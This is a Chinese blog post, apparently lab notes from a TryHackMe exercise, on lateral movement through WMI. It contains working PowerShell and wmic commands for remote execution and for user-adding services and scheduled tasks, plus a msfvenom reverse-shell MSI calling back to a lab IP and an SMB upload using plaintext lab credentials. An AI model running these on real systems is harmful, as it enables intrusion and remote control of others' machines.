横向移动-WMI

news2024/11/15 1:24:26
什么是WMI?

WMI是基于 Web 的企业管理 (WBEM) 的 Windows 实现,WBEM 是跨设备访问管理信息的企业标准。
WBEM(Web-Based Enterprise Management)是一个开放标准,用于跨平台和跨设备的管理信息访问。WMI(Windows Management Instrumentation)是WBEM的Windows实现,它将WBEM标准应用于Windows环境,以提供系统管理和自动化功能。WMI在Windows系统中提供了一组用于查询和操作管理信息的接口和工具。

连接到WMI

连接到 WMI(Windows Management Instrumentation)之后,你可以管理和查询对应的系统。WMI 是 Windows 操作系统的一个组件,它允许你访问和操作系统的管理数据和功能。

通过 WMI,你可以执行各种操作,例如:

  • 查询系统信息:获取系统硬件、操作系统、网络配置等信息。
  • 管理系统资源:创建、删除、或修改文件和进程,管理服务等。
  • 执行系统操作:启动、停止、重启服务或进程,设置系统属性等。

所以如同我们连接所有的系统一样我们都需要凭据,同时WMI还需要指定一个连接的方式。
**准备凭据

一个很重要的点,我们连接wmi一定要是管理员

$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

稍微解释一下

  1. $username$password 分别存储用户名和密码。
  2. ConvertTo-SecureString 将密码字符串转换为安全字符串对象,确保密码以加密方式存储。
  3. New-Object System.Management.Automation.PSCredential 创建一个 PSCredential 对象,结合用户名和安全字符串密码,用于进行需要身份验证的操作
连接方式
  • DCOM: RPC over IP 将用于连接到 WMI。该协议使用端口 135/ TCP和端口 49152-65535/ TCP ,正如使用 sc.exe 时所解释的那样。
  • Wsman: WinRM 将用于连接到 WMI。此协议使用端口 5985/TCP (WinRM HTTP ) 或 5986/ TCP (WinRM HTTPS)。
开始连接
$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop
  1. $Opt = New-CimSessionOption -Protocol DCOM:创建一个 CIM 会话选项对象,指定协议为 DCOM(Distributed Component Object Model)。DCOM 是一种用于网络上的对象通信的协议。

  2. $Session = New-CimSession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop:建立一个新的 CIM 会话。参数包括:

    • -ComputerName TARGET:指定目标计算机的名称或 IP 地址。
    • -Credential $credential:传递之前创建的凭据对象,以便进行认证。
    • -SessionOption $Opt:应用前面创建的会话选项(即 DCOM 协议)。
    • -ErrorAction Stop:在发生错误时立即停止执行并抛出异常。

其实到这里,已经发现其实wmi是wbem的实现,那么他就是一个windows的组件,我们可以连接到远程计算机上的wmi然后开始使用wmi进行一个针对于系统的管理。

WMI的一些利用

执行系统命令

我们可以利用 Windows Management Instrumentation ( WMI ) 从 Powershell 远程生成一个进程,向 Win32_Process 类发送WMI请求,以在我们之前创建的会话下生成该进程

$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";

Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $Command
}

可以看到现在才发现,wmi没有一个交互我们的session就是我们连接之后的标志。把session带入到一个执行命令的powershell命令中。在以前的旧系统中可以使用wmic在命令行中直接连接wmi。
wmic 确实被视为较旧的工具,主要因为它在 Windows 10 和 Windows Server 2019 及更高版本中逐渐被 PowerShell 替代。PowerShell 提供了更强大和灵活的功能,且与现代 Windows 系统更兼容。wmic 工具可能在未来的 Windows 版本中被逐步淘汰,因此推荐使用 PowerShell 的 CimCmdletsGet-WmiObject 等命令进行类似的操作。

wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create "cmd.exe /c calc.exe" 
创建服务
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName 
# 利用我们的连接session
Create -Arguments @{
Name = "THMService2";
# 创建一个THMService2的服务
DisplayName = "THMService2";
PathName = "net user munra2 Pass123 /add"; # payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}

可以启动对应

$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'"

Invoke-CimMethod -InputObject $Service -MethodName StartService

删除服务

Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete
创建计划任务
# Payload must be split in Command and Args
$Command = "cmd.exe"
$Arg1 = "/c net user munra22 aSdf1234 /add"

$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Arg1
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2"
Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"

***删除定时任务

Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"
安装msi程序

MSI 是
一种用于安装程序的文件格式。如果我们可以将 MSI 包复制到目标系统,那么我们就可以使用 WMI 尝试为我们安装它。攻击者可以通过任何可用的方式复制该文件。一旦 MSI 文件位于目标系统中,我们就可以尝试通过WMI调用 Win32_Product 类来安装

Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}

同样在旧系统

wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi

稍微总结

可以看到我们使用了windows的一个组件叫做WMI但其实我发现他更多的可能是简便了一些我们横向时候的操作,不需要重复的进行凭证验证。同时我们使用wmi可能更加的隐蔽。正如我们进行红队测试时候我们更多的是进行一些隐蔽的思量和思考。

实验

***首先需要一个管理员的凭据

用户: ZA.TRYHACKME.COM\t1_corine.waters
密码: Korine.1994

具体的环境搭建不做赘述。

先连接到对应的thmjmp2上
相关凭据: Username: henry.bird Password: Changeme123

具体实验步骤不做具体的描述,我们只尝试几个payload,和几种移动利用的方式。

先连接WMI
$username = 'ZA.TRYHACKME.COM\t1_corine.waters';
#做好凭据生成
$password = 'Korine.1994';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
# 做一个连接协议的 判定和选择  并且得到对应的会话
$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName thmiis.za.tryhackme.com -Credential $credential -SessionOption $Opt -ErrorAction Stop

在cmd中写一个ps1脚本,直接批量执行

验证连接:

1. 使用 wmic 命令

打开命令提示符(cmd)并输入以下命令:

wmic os get caption
如果你能看到 Windows 操作系统的名称和版本,这表明你已成功连接到 WMI。

2. 使用 PowerShell

打开 PowerShell 并输入以下命令:

Get-WmiObject -Class Win32_OperatingSystem

计划任务

image.png

其实就是连接上wmi之后可以看到一个相应的session 可以看到,直接利用session进行系统相关的管理。此时我们可以测试一下,我们创建的用户登录对应thmiis系统。
具体脚本[[#创建计划任务]]
image.png
可以看到我们的计划任务成功执行。 已经成功登录对应的thmiis系统。

安装msi

我刚才仔细地考虑了一下,如果说是为了隐蔽的话。使用wmi进行一些系统管理,并且利用msi安装程序更隐蔽。

msfvenom -p windows/shell/reverse_tcp -f msi LHOST=10.50.148.56 LPORT=4444 -o k1t0service.msi

需要把msi先传递上去。

smbclient -c 'put k1t0service.msi' -U t1_corine.waters -W ZA '//thmiis.za.tryhackme.com/admin$/' Korine.1994

可以看到,我们之前已经连接到了wmi 的 session ,具体的监听不做赘述。
此时就直接可以调用session,直接开始安装对应的msi程序。[[WMI#安装msi程序]]

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2140358.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

VMware Fusion虚拟机Mac版 安装Win10系统教程

Mac分享吧 文章目录 Win10安装完成,软件打开效果一、VMware安装Windows10虚拟机1️⃣:准备镜像2️⃣:创建虚拟机3️⃣:虚拟机设置4️⃣:安装虚拟机(步骤和Win11安装步骤类似,此处相同步骤处没换…

C++从入门到起飞之——继承下篇(万字详解) 全方位剖析!

🌈个人主页:秋风起,再归来~🔥系列专栏:C从入门到起飞 🔖克心守己,律己则安 目录 1、派⽣类的默认成员函数 1.1 四个常⻅默认成员函数 1.2 实现⼀个不能被继承的类 ​编辑 2. 继承与友…

词嵌入(二):基于上下文窗口的静态词嵌入(从NNLM、CW模型谈到基于层次Softmax、负采样的Word2Vec模型)

文章目录 一、经典神经语言模型(A Neural Probabilistic Language Model)二、C&W模型 (Collobert and Weston, 2008)2.1 文章背景2.2 模型架构(词向量的表示)2.2.1 Lookup-Table Layer(查找表)2.2.2 TD…

STM32关于keil使用过程中遇到的问题

1.设备管理器STlink驱动确认安装完成,但是keil里一直识别不到,换下载器也没用 (1)问题描述 我的问题是这样产生的:之前用标准库开发STM32的时候,STLink能够正常使用,然后使用HAL库开发的时候出…

仓储管理系统的设计与实现SSM框架

💗博主介绍💗:✌在职Java研发工程师、专注于程序设计、源码分享、技术交流、专注于Java技术领域和毕业设计✌ 温馨提示:文末有 CSDN 平台官方提供的老师 Wechat / QQ 名片 :) Java精品实战案例《700套》 2025最新毕业设计选题推荐…

electron react离线使用monaco-editor

目录 1.搭建一个 electron-vite 项目 2.安装monaco-editor/react和monaco-editor 3.引入并做monaco-editor离线配置 4.react中使用 5.完整代码示例 6.monaco-editor离线配置官方说明 7.测试 1.搭建一个 electron-vite 项目 pnpm create quick-start/electron 参考链接…

React学习day06-异步操作、ReactRouter的概念及简单使用

13、续 (8)异步状态操作 1)在子仓库中 ①创建仓库 ②解构需要的方法 ③安装axios ④封装并导出请求 ⑤在reducer中为newsList赋值 ⑥获取并导出reducer函数 2)在入口文件index.js中,注入 3)在App.js中&a…

Vue.js入门系列(二十九):深入理解编程式路由导航、路由组件缓存与路由守卫

个人名片 🎓作者简介:java领域优质创作者 🌐个人主页:码农阿豪 📞工作室:新空间代码工作室(提供各种软件服务) 💌个人邮箱:[2435024119qq.com] &#x1f4f1…

爬虫--翻页tips

免责声明:本文仅做分享! 伪线程 from DrissionPage import ChromiumPage import timepage ChromiumPage() page.get("https://you.ctrip.com/sight/taian746.html") # 初始化 第0页 index_page 0# 翻页点击函数 sleep def page_turn():page…

【Linux修行路】网络套接字编程——UDP

目录 ⛳️推荐 前言 六、Udp Server 端代码 6.1 socket——创建套接字 6.2 bind——将套接字与一个 IP 和端口号进行绑定 6.3 recvfrom——从服务器的套接字里读取数据 6.4 sendto——向指定套接字中发送数据 6.5 绑定 ip 和端口号时的注意事项 6.5.1 云服务器禁止直接…

C++复习day12

IO流 一、C语言的输入和输出 C语言中我们用到的最频繁的输入输出方式就是scanf ()与printf()。 scanf(): 从标准输入设备(键 盘)读取数据,并将值存放在变量中。printf(): 将指定的文字/字符串输出到标准输出设备(屏幕)。 注意宽度输出和精度输出控制。C语言借助了…

【C++】多态and多态原理

目录 一、多态的概念 二、多态的定义及实现 🌟多态的构成条件 🌟虚函数 🌟虚函数的重写 🌠小贴士: 🌟C11 override 和 final 🌟重载、重写(覆盖)、重定义&#xf…

POD内的容器之间的资源共享

概述 摘要:本文通过实践描述并验证了pod内容器如何实现网络、文件、PID、UTC、mount的共享。 pod实战之容器内资源共享与隔离 container容器之间的共享实战 从实际场景说起:有2个容器nginx与wordpress分别运行了紧密耦合且需要共享资源的应用程序。我…

英语学习交流平台|基于java的英语学习交流平台系统小程序(源码+数据库+文档)

英语学习交流平台系统小程序 目录 基于java的英语学习交流平台系统小程序 一、前言 二、系统设计 三、系统功能设计 四、数据库设计 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源码获取: 博主介绍:✌️大厂码农|毕设布道师&…

基于SpringBoot的校园社团活动管理系统设计与实现

文未可获取一份本项目的java源码和数据库参考。 一、设计(论文)研究背景与意义 在当今的社会,可以说是信息技术的发展时代,在社会的方方面面无不涉及到各种信息的处理。[1]信息是人们对客观世界的具体描述,是人们进行…

性能优化一:oracle 锁的原则

文章目录 锁的原则查看具体会话阻塞过程 锁的原则 1、只有被修改时,行才会被锁定。 2、当条语句修改了一条记录,只有这条记录上被锁定,在Oracle数据库中不存在锁升 3、当某行被修改时 ,它将阻塞别人对它的修改。 4、当一个事务修改一行时.将在这个行上加上行锁(TX…

测试开发基础——测试用例的设计

三、测试用例的设计 1. 什么是测试用例 测试用例(Test Case)是为了实施测试而向被测试的系统提供的一组集合,这组集合包含:测试环境、操作步骤、测试数据、预期结果等要素。 设计测试用例原则一:测试用例中一个必需部分是对预期输出或结果进…

带你如何使用CICD持续集成与持续交付

目录 一、CICD是什么 1.1 持续集成(Continuous Integration) 1.2 持续部署(Continuous Deployment) 1.3 持续交付(Continuous Delivery) 二、git工具使用 2.1 git简介 2.2 git的工作流程 2.3 部署g…

【MRI基础】Partial volume 伪影

基本概念 partial volume 伪影是 MRI 中的一种常见伪影,当图像中的体素包含不同组织类型或结构的混合时就会出现这种伪影。这种伪影是由于成像系统的空间分辨率有限而产生的,导致具有不同信号强度的相邻结构在一个体素内混合在一起。 抑制MRI 中的parti…

图数据库的力量:深入理解与应用 Neo4j

图数据库的力量:深入理解与应用 Neo4j 文章目录 图数据库的力量:深入理解与应用 Neo4j1、什么是 Neo4j?版本说明 2、Neo4j 的部署和安装Neo4j Web 工具介绍 3、体验 Neo4j加载数据查询数据数据结构 4、Cypher 入门创建数据查询数据关系深度查…